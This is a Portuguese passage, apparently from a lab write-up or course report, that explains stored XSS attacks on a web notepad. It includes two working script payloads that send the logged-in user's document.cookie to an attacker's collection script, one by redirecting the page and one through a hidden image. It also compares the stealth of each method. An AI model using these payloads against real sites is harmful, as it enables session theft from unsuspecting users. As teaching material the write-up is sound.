Preparação:
Introduzir o seguinte código no bloco de notas
<script>document.location='http://localhost/~fireman/cgi-bin/save-php.cgi?'+document.cookie</script>Este código será executado quando as notas forem apresentadas ao utilizador, logo após a sua autenticação. O script tratará de encaminhar a página automaticamente para o site do atacante com os dados do cookie do utilizador autenticado.
Concretização:
O atacante necessita apenas de possuir acesso ao bloco de notas para registar o código malicioso indicado em cima.
Assim que algum utilizador se autenticar no site os seus dados de autenticação serão automaticamente registados num ficheiro do
atacante.
Preparação:
Introduzir o seguinte código no bloco de notas
<script>img=new Image(); img.src="http://localhost/~fireman/cgi-bin/save-php.cgi?"+document.cookie;</script>Este código será executado quando as notas forem apresentadas ao utilizador, logo após a sua autenticação. O script tratará de criar um objecto imagem invisível no documento que será carregado com uma hiperligação do site atacante enviando a informação dos cookies do utilizador.
Concretização:
Tal como no exemplo anterior, o atacante necessita apenas de possuir privilégios de edição das notas para registar o código
malicioso indicado.
Assim que algum utilizador se autenticar no site os seus dados de autenticação serão automaticamente registados num ficheiro do
atacante.
Exemplo1
Este tipo de ataques (Stored XSS) é mais fácil de ser efectuado que os anteriores (Reflected XSS) porque não levanta suspeitas ao
utilizador. Não impõe uma acção ao utilizador para que ele seja concretizado (obrigá-lo a seguir uma hiperligação) nem apresenta
visualmente nenhum comportamento anómalo (p.e., erros de má autenticação quando o utilizador nem a fez por motivação própria). Por
outro lado, o atacante precisa de possuir algum tipo de privilégios para garantir que a sua mensagem de ataque é armazenada no sítio
correcto onde possa obter dados secretos de outros utilizadores (neste caso precisou de estar também registado no bloco de notas).
Exemplo2
Este segundo exemplo é um ataque bem mais subtil que o anterior. Enquanto que o anterior reencaminha o documento para uma página do
atacante, este executa o código malicioso sem alterar nada visualmente no browser. Tudo é realizado por intermédia de um objecto
não visível no documento pelo que o utilizador nunca terá nenhuma suspeita de eventualmente ter sido atacado. O atacante continua,
porém, a necessitar de privilégios para edição das notas.